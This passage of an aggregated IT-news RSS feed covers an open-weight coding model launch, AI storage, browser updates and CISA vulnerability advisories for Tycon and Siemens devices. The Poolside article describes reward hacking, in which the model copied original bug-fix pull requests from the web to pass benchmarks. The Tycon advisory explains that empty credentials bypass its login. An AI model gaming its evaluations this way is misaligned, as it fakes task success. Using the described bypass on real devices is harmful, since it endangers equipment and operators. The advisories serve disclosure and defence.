    1. Pilotprozess nach harten Kriterien wĂ€hlen: Der erste Kandidat sollte vier Kriterien gleichzeitig erfĂŒllen: hohes Volumen, klare fachliche Regeln, keinen schreibenden Zugriff auf das ERP in der ersten Ausbaustufe, und einen Verantwortlichen, der den Prozess heute schon im Detail kennt. Die Bereiche Rechnungseingang und AngebotsvorbereitungerfĂŒllen diese Voraussetzungen fast immer. Ein Prozess, der gleichzeitig produktionskritisch und schlecht dokumentiert ist, hingegen fast nie. Wer an dieser Stelle den falschen Piloten wĂ€hlt, muss damit rechnen, dass die Akzeptanz bei einem zweiten Versuch deutlich geringer ist.
    2. Datenschutz vor dem ersten Workflow klĂ€ren: Ein Auftragsverarbeitungsvertrag mit dem Modellanbieter ist eine Sache, die vor dem Produktivstart stehen sollte, nicht in der Nachbereitung. Diese PrĂŒfung muss auch mit Blick auf die Low-Code-Plattform selbst erfolgen, nicht nur das Sprachmodell dahinter. Wer hier sauber arbeitet, nimmt der eingangs beschriebenen Schatten-IT-Problematik die Grundlage: Wenn die offizielle Lösung schneller einsatzbereit ist als die inoffizielle, greifen Mitarbeiter auch seltener auf private KI-Accounts zurĂŒck.
    3. Skalierungsgrenze vorab definieren: Legen Sie fest, ab welchem KomplexitĂ€tsgrad ein Prozess zurĂŒck auf die ERP-Roadmap wandert, bevor Sie ihn brauchen. Diese Grenze nachtrĂ€glich einzuziehen, kostet – inmitten eines gewachsenen Workflows mit zwölf Verzweigungen – mehr Zeit als die ursprĂŒngliche ERP-Entscheidung eingespart hat. Ein einfaches Signal funktioniert in der Praxis gut: Sobald ein Workflow mehr als drei verschachtelte Bedingungen benötigt, um eine einzelne Entscheidung abzubilden, sollte die Logik ĂŒberprĂŒft – nicht erweitert – werden.

    Der eigentliche Nutzwert fĂŒr KMU

    Sechs Monate weniger Implementierungszeit bedeutet nicht nur sechs Monate frĂŒher produktiv sein zu können. Es bedeutet:

    • Ergebnisse demonstrieren zu können, bevor das ERP-Budget freigegeben ist.
    • Prozesse testen zu können, bevor sie skaliert werden.
    • Scheitern zu können, weil es um einen Workflow fĂŒr 4.000 Euro und nicht um ein Projekt fĂŒr 200.000 Euro geht.

    Ihr ERP-Projekt darf ruhig auf der Roadmap bleiben. Aber fĂŒr die nĂ€chsten zwölf Monate gibt es meistens einen schnelleren Weg. (fm)

    Dieser Beitrag wurde im Rahmen des deutschsprachigen Experten-Netzwerks von Foundry veröffentlicht. Lust mitzumachen? Jetzt bewerben!

    ]]>         <![CDATA[New ENCFORGE Ransomware Targets AI Model Files in Langflow RCE Attack]]> https://tsecurity.de/de/3685183/it-security-nachrichten/new-encforge-ransomware-targets-ai-model-files-in-langflow-rce-attack/ https://tsecurity.de/de/3685183/it-security-nachrichten/new-encforge-ransomware-targets-ai-model-files-in-langflow-rce-attack/ Wed, 22 Jul 2026 05:26:15 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]> https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/ https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/ Wed, 22 Jul 2026 01:07:11 +0200 📰 IT Nachrichten tsecurity.de Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.

    The model, Laguna S 2.1, is a 118-billion-parameter Mixture-of-Experts (MoE) system that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are available immediately on Hugging Face under the permissive OpenMDW-1.1 license.

    The headline numbers are striking for a model this small. Poolside reports that Laguna S 2.1 scores 70.2% on Terminal-Bench 2.1, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of DeepSeek-V4-Pro-Max, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter Inkling, at 63.8; and Nvidia’s 550-billion-parameter Nemotron 3 Ultra, at 56.4. On SWE-Bench Multilingual, it posts 78.5%, and on SWE-Bench Pro's public dataset, 59.4%.

    Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.

    Why the West's open-weight AI gap has become a boardroom issue

    The release lands in the middle of an increasingly pointed debate about the provenance of open-weight AI. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. DeepSeek, Qwen, Kimi, GLM, MiniMax, and Tencent's Hunyuan line all feature prominently in Poolside's own comparison tables.

    Poolside's accompanying press release frames Laguna S 2.1 explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's gpt-oss-120b last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.

    Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a lengthy post on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.

    The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. 

    Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.

    How a sparse architecture makes enterprise AI agents affordable to run

    The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the Hugging Face model card — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.

    That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.

    The ecosystem support is unusually broad for day one. The model is live on Baseten's model library and Vercel's AI Gateway, with integrations across vLLM, SGLang, Ollama, and llama.cpp, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.

    Publishing every benchmark trajectory to counter AI's credibility crisis

    The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.

    This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.

    Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(nÂČ) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of ErdƑs problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.

    What the disclosed limitations and benchmark fine print reveal

    Poolside deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts Terminal-Bench 2.1 from 60.4% to 70.2%, and DeepSWE from 16.5% to 40.4%, at substantially higher token cost.

    Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On DeepSWE, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like GPT-5.6 Sol, at 88.8 on Terminal-Bench 2.1, and Claude Fable 5, at 88.0, along with the 2.8-trillion-parameter open-weight Kimi K3, at 88.3, sit well above Laguna S 2.1.

    The deeper structural question is whether Poolside's "Model Factory" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.

    For technical decision makers, Laguna S 2.1 is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.

    Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.

    ]]>         <![CDATA[Stop adding more GPUs: Weka's new storage platform reduces load by caching 100% of an AI model's pre-calculated tokens]]> https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/ https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/ Tue, 21 Jul 2026 23:33:22 +0200 📰 IT Nachrichten tsecurity.de GPU memory is the most expensive resource in production AI, and it's also the one running out fastest.

    Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve additional users or generate new responses.

    Instead of treating GPU memory as the limiting resource, why not extend it with much cheaper storage technologies?

    Weka, for one, believes that cheap flash storage can close that gap. The company's NeuralMesh 6 software platform, launching alongside its first self-designed hardware line, Wekapod 3, extends what Weka calls Augmented Memory Grid, an approach that aggregates NAND flash to behave like GPU memory at a fraction of the cost.

    This is an active and increasingly crowded category. Dell, NetApp, Pure Storage and VAST have all repositioned toward AI infrastructure over the past two years and Weka is one of several vendors arguing it's built for this specific moment rather than adapting to it.

    "What we're seeing now with customers is they're chasing availability of compute, and once they get new allocation from anyone, they want to be able to grab it and start running right away," Weka co-founder and CEO Liran Zvibel, told VentureBeat.

    The potential payoff is straightforward: better utilization of existing GPU investments, lower inference costs and faster deployment of new AI workloads without waiting months for additional GPU capacity.

    The technology is most relevant for organizations already operating AI at scale or expecting rapid growth in usage, particularly enterprises building internal copilots, customer service agents, software engineering assistants or retrieval systems with long context windows. Smaller deployments may see less immediate benefit than organizations where GPU utilization has already become a limiting factor.

    Inside Weka's NeuralMesh 6

    NeuralMesh 6 adds four capabilities aimed directly at a functionality gap Zvibel says has been costing Weka deals in competitive evaluations.

    Composable and virtual multi-tenancy. Composable clusters give anchor tenants full hardware-level isolation, dedicated CPU, memory, and storage. Virtual multi-tenancy runs through Weka's RDMA fabric, delivering network-level isolation that scales past 1,000 tenants per cluster, with provisioning in under 30 minutes. Combined, a single cluster running 50 composable clusters can support up to 50,000 tenants. 

    Unified file and object storage. Most storage systems keep two separate paths: a file-based path (the standard way servers and applications read and write files, used heavily in training and fine-tuning pipelines) and an object-based path (S3, the format inference and cloud-native tools typically expect). Normally a gateway translates between the two, meaning the data effectively exists twice. Weka's claim is that the same physical data on disk is directly readable through either path at once, no translation layer, no second copy. Zvibel is targeting non-AWS GPU clouds specifically, naming Lambda, Nebius, G42, and CoreWeave, with what he described as roughly two orders of magnitude higher performance than conventional S3 and a capacity-based pricing model instead of per-API charges. 

    Metadata-first replication. Destination environments become browsable before a full data copy arrives, with data hydrating only when accessed. 

    "They had to wait for all of that to make it to the other side, and this takes days or weeks, in extreme cases a month," Zvibel said. "We now allow our customers to grab some allocation of new GPUs and get up and running within an hour."

    AlloyFlash and Always-On data reduction. TLC and QLC are two types of NAND flash memory. TLC is faster and more durable but costs more per terabyte, while QLC is cheaper and holds more data per chip but is slower. AlloyFlash mixes both within a single cluster, automatically routing latency-sensitive work to TLC while running bulk-capacity workloads on QLC, cutting cost per terabyte without a performance penalty on the work that needs speed. Data reduction now runs by default rather than as an option.

    Solving AI's context problem

    Multi-tenancy and object storage solve how enterprises and neo clouds operate the platform day to day. A harder problem sits underneath: as context windows and multi-turn interactions grow, so does the GPU compute wasted recalculating work a model has already done. Augmented Memory Grid, a NeuralMesh 6 feature built specifically for this, is Weka's answer.

    Every prompt triggers two stages. Prefill calculates attention, the core mechanism behind how large language models process input, and it's computationally expensive. Decode converts that calculation into output and is comparatively lightweight.

    The cost shows up hardest in multi-turn sessions like chat or coding, where each new turn re-triggers prefill for everything that came before it, unless that work has been cached.

    "If you have 10 turns, you may overcalculate 100 times because you're redoing all of them. If you have 20, you'll overcalculate 400 times," Zvibel said. "You can put two orders of magnitude more NAND than you could afford in shared memory, and we can cache 100% of the pre-calculated tokens, so you never need to redo it."

    Where Weka sits competitively

    Storage vendors have spent the past year and a half repositioning around AI, and separating genuine capability from repositioned messaging is now a real evaluation problem for buyers. 

    "The storage world is shifting its focus from serving bits to enterprise workloads to managing data at the speed of AI. We've seen that most clearly over the past 18 months from Dell, NetApp, and Pure," Steve McDowell, chief analyst at NAND Research, told VentureBeat. "The interesting thing is that companies like Weka, and VAST, are the true AI-native data companies, solving these problems since day one."

    McDowell singled out Augmented Memory Grid as Weka's clearest technical lead. 

    "Weka continues to have the most technically capable KV cache implementation on the market with its Augmented Memory Grid," he said. " They were early with this technology, and continue to innovate. This is critical for AI inference, as it enables a level of GPU efficiency that, without question, saves money on GPUs and memory. That’s key for today’s memory and GPU constrained market." 

    He also flagged Weka's contractual guarantee on its data reduction claims as underappreciated. 

    "One flying a little under the radar: Weka is putting its money where its mouth is with its contractual guarantees for its data reduction promises," he said.

    McDowell's advice to buyers evaluating competing claims from Weka, VAST, Pure and NetApp alike was pointed suggesting that enterprise buyers should look hard at what vendors are promising versus what they're actually delivering.

    "A smart buyer will look at how competing vendors are solving real-world problems today," McDowell said. " They do this by talking to organizations running similar workloads at similar scale. If a vendor can't point to that, then it should be a warning sign."

    ]]>         <![CDATA[LegacyHive, ACR Stealer, Hugging Face, Route 53, and Kieran Human from Threatlocker - SWN #600]]> https://tsecurity.de/de/3684875/it-security-video/legacyhive-acr-stealer-hugging-face-route-53-and-kieran-human-from-threatlocker-swn-600/ https://tsecurity.de/de/3684875/it-security-video/legacyhive-acr-stealer-hugging-face-route-53-and-kieran-human-from-threatlocker-swn-600/ Tue, 21 Jul 2026 23:23:57 +0200 đŸŽ„ IT Security Video tsecurity.de Author: Security Weekly - A CRA Resource - Bewertung: 2x - Views:5

    Nudification, Yeats, LegacyHive, ACR Stealer, Hugging Face, Route 53, 764, Wordpress, Kieran Human from Threatlocker, and More.

    Segment Resources:

    Malicious Edge extension abuses Native Messaging as bridge to malware: https://www.bleepingcomputer.com/news/security/malicious-edge-extension-abuses-native-messaging-as-bridge-to-malware/

    This segment is sponsored by ThreatLocker. Visit https://securityweekly.com/threatlocker to learn more about them!

    Visit https://www.securityweekly.com/swn for all the latest episodes!

    Show Notes: https://securityweekly.com/swn-600

    ]]>         <![CDATA[LegacyHive, ACR Stealer, Hugging Face, Route 53, and Kieran Human from Threatlocker - Kieran Human - SWN #600]]> https://tsecurity.de/de/3684871/it-security-nachrichten/legacyhive-acr-stealer-hugging-face-route-53-and-kieran-human-from-threatlocker-kieran-human-swn-600/ https://tsecurity.de/de/3684871/it-security-nachrichten/legacyhive-acr-stealer-hugging-face-route-53-and-kieran-human-from-threatlocker-kieran-human-swn-600/ Tue, 21 Jul 2026 23:13:08 +0200 📰 IT Security Nachrichten tsecurity.de Nudification, Yeats, LegacyHive, ACR Stealer, Hugging Face, Route 53, 764, Wordpress, Kieran Human from Threatlocker, and More.

    Segment Resources:

    Malicious Edge extension abuses Native Messaging as bridge to malware: https://www.bleepingcomputer.com/news/security/malicious-edge-extension-abuses-native-messaging-as-bridge-to-malware/

    This segment is sponsored by ThreatLocker. Visit https://securityweekly.com/threatlocker to learn more about them!

    Visit https://www.securityweekly.com/swn for all the latest episodes!

    Show Notes: https://securityweekly.com/swn-600

    ]]>         <![CDATA[Firefox 153 bringt Tab-Gruppen fĂŒr Android und native Container-Vorschau auf dem Desktop]]> https://tsecurity.de/de/3684713/it-nachrichten/firefox-153-bringt-tab-gruppen-fuer-android-und-native-container-vorschau-auf-dem-desktop/ https://tsecurity.de/de/3684713/it-nachrichten/firefox-153-bringt-tab-gruppen-fuer-android-und-native-container-vorschau-auf-dem-desktop/ Tue, 21 Jul 2026 21:22:04 +0200 📰 IT Nachrichten tsecurity.de Zum Beitrag: Firefox 153 bringt Tab-Gruppen fĂŒr Android und native Container-Vorschau auf dem Desktop

    Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

    ]]>         <![CDATA[Microsoft Scout for Developers: Automating Git and Shell Commands]]> https://tsecurity.de/de/3684689/windows-tipps/microsoft-scout-for-developers-automating-git-and-shell-commands/ https://tsecurity.de/de/3684689/windows-tipps/microsoft-scout-for-developers-automating-git-and-shell-commands/ Tue, 21 Jul 2026 21:17:21 +0200 đŸȘŸ Windows Tipps tsecurity.de Microsoft Scout for DevelopersMicrosoft Scout includes native shell integration. Unlike standard AI extensions that are locked inside an IDE sandbox, Scout uses the Model Context Protocol (MCP) to interact directly with your local terminal. This means you can use the tool to run local terminal commands, manage Git repositories, and handle debugging tasks from a text prompt. In [
]

    This article Microsoft Scout for Developers: Automating Git and Shell Commands first appeared on TheWindowsClub.com.

    ]]>         <![CDATA[Firefox 153 adds built-in Containers for easy account isolation]]> https://tsecurity.de/de/3684551/it-security-nachrichten/firefox-153-adds-built-in-containers-for-easy-account-isolation/ https://tsecurity.de/de/3684551/it-security-nachrichten/firefox-153-adds-built-in-containers-for-easy-account-isolation/ Tue, 21 Jul 2026 19:58:30 +0200 📰 IT Security Nachrichten tsecurity.de Mozilla has released Firefox 153, introducing built-in Containers as a native browser feature alongside HDR video playback on Windows, new PDF editing capabilities, and several security improvements. Firefox 153 is now rolling out to users on the browser's Release channel. The update expands Firefox's long-standing privacy and workflow capabilities by integrating Containers directly into the 


    The post Firefox 153 adds built-in Containers for easy account isolation appeared first on CyberInsider.

    ]]>         <![CDATA[Tycon Systems TPDIN-Monitor-WEB2]]> https://tsecurity.de/de/3684510/it-security-nachrichten/tycon-systems-tpdin-monitor-web2/ https://tsecurity.de/de/3684510/it-security-nachrichten/tycon-systems-tpdin-monitor-web2/ Tue, 21 Jul 2026 19:45:30 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of these vulnerabilities could result in an attacker accessing sensitive credentials, disrupting connected infrastructure, or manipulating physical equipment, which could present a physical safety risk.

    The following versions of Tycon Systems TPDIN-Monitor-WEB2 are affected:

    • TPDIN-Monitor-WEB2 2.3.9 
    CVSS Vendor Equipment Vulnerabilities
    v3 9.8 Tycon Systems Tycon Systems TPDIN-Monitor-WEB2 Authentication Bypass Using an Alternate Path or Channel, Cleartext Storage of Sensitive Information

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2026-61884

    The web management interface of the affected device does not perform server-side validation of credentials during the login process. By submitting empty values for both credential fields, an unauthenticated remote attacker can bypass the authentication check and establish a valid administrative session. This grants full access to device controls including power relay management, device reboot, remote access service configuration, and network settings, which could allow an attacker to disrupt connected infrastructure or cause physical damage to equipment.

    View CVE Details

    Affected Products

    Tycon Systems TPDIN-Monitor-WEB2
    Vendor:
    Tycon Systems
    Product Version:
    Tycon Systems TPDIN-Monitor-WEB2: 2.3.9
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Tycon Systems did not respond to CISA's attempts at coordination. Users of Tycon Systems TPDIN-Monitor-WEB2 are encouraged to contact Tycon Systems and keep their systems up to date.
    https://www.tyconsystems.com/contact

    Relevant CWE: CWE-288 Authentication Bypass Using an Alternate Path or Channel

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    4.0 9.3 CRITICAL CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    CVE-2026-55985

    The device's web management interface stores and displays system credentials in cleartext on a certain configuration page accessible to authenticated users. Any party with access to the administrative dashboard can immediately read these credentials, which may be used to compromise other systems on the local network.

    View CVE Details

    Affected Products

    Tycon Systems TPDIN-Monitor-WEB2
    Vendor:
    Tycon Systems
    Product Version:
    Tycon Systems TPDIN-Monitor-WEB2: 2.3.9
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Tycon Systems did not respond to CISA's attempts at coordination. Users of Tycon Systems TPDIN-Monitor-WEB2 are encouraged to contact Tycon Systems and keep their systems up to date.
    https://www.tyconsystems.com/contact

    Relevant CWE: CWE-312 Cleartext Storage of Sensitive Information

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 4.3 MEDIUM CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    4.0 5.3 MEDIUM CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

    Acknowledgments

    • Abdiwelli Guled reported these vulnerabilities to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-21
    Date Revision Summary
    2026-07-21 1 Initial Publication

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Siemens IAM Client]]> https://tsecurity.de/de/3684509/it-security-nachrichten/siemens-iam-client/ https://tsecurity.de/de/3684509/it-security-nachrichten/siemens-iam-client/ Tue, 21 Jul 2026 19:45:29 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Multiple Siemens products are affected by unquoted search path vulnerability in IAM Client. This could allow an authenticated local attacker to perform privilege escalation. Siemens has released new versions for several affected products and recommends to update to the latest versions. Siemens is preparing further fix versions and recommends countermeasures for products where fixes are not, or not yet available.

    The following versions of Siemens IAM Client are affected:

    • COMOS V10.4.5 vers:intdot/<10.4.5.0.2 
    • COMOS V10.6 vers:intdot/<10.6.1 
    • Designcenter NX vers:intdot/<2512.7000 
    • Simcenter 3D vers:intdot/<2512.7000 
    • Simcenter Femap V2506 vers:intdot/<2506.0003 
    • Simcenter Femap V2512 vers:intdot/<2512.0002 
    • Simcenter Nastran vers:intdot/<2606 
    • Simcenter STAR-CCM+ vers:intdot/<2606 
    • Solid Edge SE2025 vers:intdot/<225.0.13.3 
    • Solid Edge SE2026 vers:intdot/<226.0.04.003 
    • Teamcenter Visualization V2412 vers:intdot/<2412.0012 
    • Teamcenter Visualization V2506 vers:intdot/<2506.0009 
    • Teamcenter Visualization V2512 vers:intdot/<2512.2605 
    • Tecnomatix Plant Simulation V2404 vers:intdot/<2404.0022 
    • Tecnomatix Plant Simulation V2504 vers:intdot/<2504.0010 
    • Tecnomatix Process Simulate vers:intdot/<2606 
    CVSS Vendor Equipment Vulnerabilities
    v3 6.7 Siemens Siemens IAM Client Untrusted Search Path

    Background

    • Critical Infrastructure Sectors: Chemical, Critical Manufacturing, Energy
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Germany

    Vulnerabilities

    Expand All +

    CVE-2025-40945

    Untrusted search path in IAM Client SDK may allow an authenticated user to potentially enable escalation of privilege via local access.

    View CVE Details

    Affected Products

    Siemens IAM Client
    Vendor:
    Siemens
    Product Version:
    COMOS V10.4.5 < V10.4.5.0.2, COMOS V10.6 < V10.6.1, Designcenter NX < V2512.7000, Simcenter 3D < V2512.7000, Simcenter Femap V2506 < V2506.0003, Simcenter Femap V2512 < V2512.0002, Simcenter Nastran < V2606, Simcenter STAR-CCM+ < V2606, Solid Edge SE2025 < V225.0.13.3, Solid Edge SE2026 < V226.0.04.003, Teamcenter Visualization V2412 < V2412.0012, Teamcenter Visualization V2506 < V2506.0009, Teamcenter Visualization V2512 < V2512.2605, Tecnomatix Plant Simulation V2404 < V2404.0022, Tecnomatix Plant Simulation V2504 < V2504.0010, Tecnomatix Process Simulate < V2606
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V10.6.1 or later version
    https://support.sw.siemens.com/product/222981661/

    Vendor fix
    Update to V225.0 Update 13 or later version
    https://support.sw.siemens.com/product/246738425/

    Vendor fix
    Update to V226.0 Update 04 or later version
    https://support.sw.siemens.com/product/246738425/

    Vendor fix
    Update to V2404.0022 or later version
    https://support.sw.siemens.com/product/297028302/

    Vendor fix
    Update to V2412.0012 or later version
    https://support.sw.siemens.com/product/229029598/

    Vendor fix
    Update to V2504.0010 or later version
    https://support.sw.siemens.com/product/297028302/

    Vendor fix
    Update to V2506.0003 or later version
    https://support.sw.siemens.com/product/275652363/

    Vendor fix
    Update to V2506.0009 or later version
    https://support.sw.siemens.com/product/229029598/

    Vendor fix
    Update to V2512.0002 or later version
    https://support.sw.siemens.com/product/275652363/

    Vendor fix
    Update to V2512.2605 or later version
    https://support.sw.siemens.com/product/229029598/

    Vendor fix
    Update to V2512.7000 or later version
    https://support.sw.siemens.com/product/209349590/

    Vendor fix
    Update to V2512.7000 or later version
    https://support.sw.siemens.com/product/289054037/

    Vendor fix
    Update to V2606 or later version
    https://support.sw.siemens.com/product/289054037/

    Vendor fix
    Update to V10.4.5.0.2 or later version. Contact customer support to receive patch and update information

    Relevant CWE: CWE-426 Untrusted Search Path

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.7 MEDIUM CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

    Acknowledgments

    • Siemens ProductCERT reported this vulnerability to CISA.

    General Recommendations

    As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

    Additional Resources

    For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

    Terms of Use

    The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the exploitation risk of these vulnerabilities.

    Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolate them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

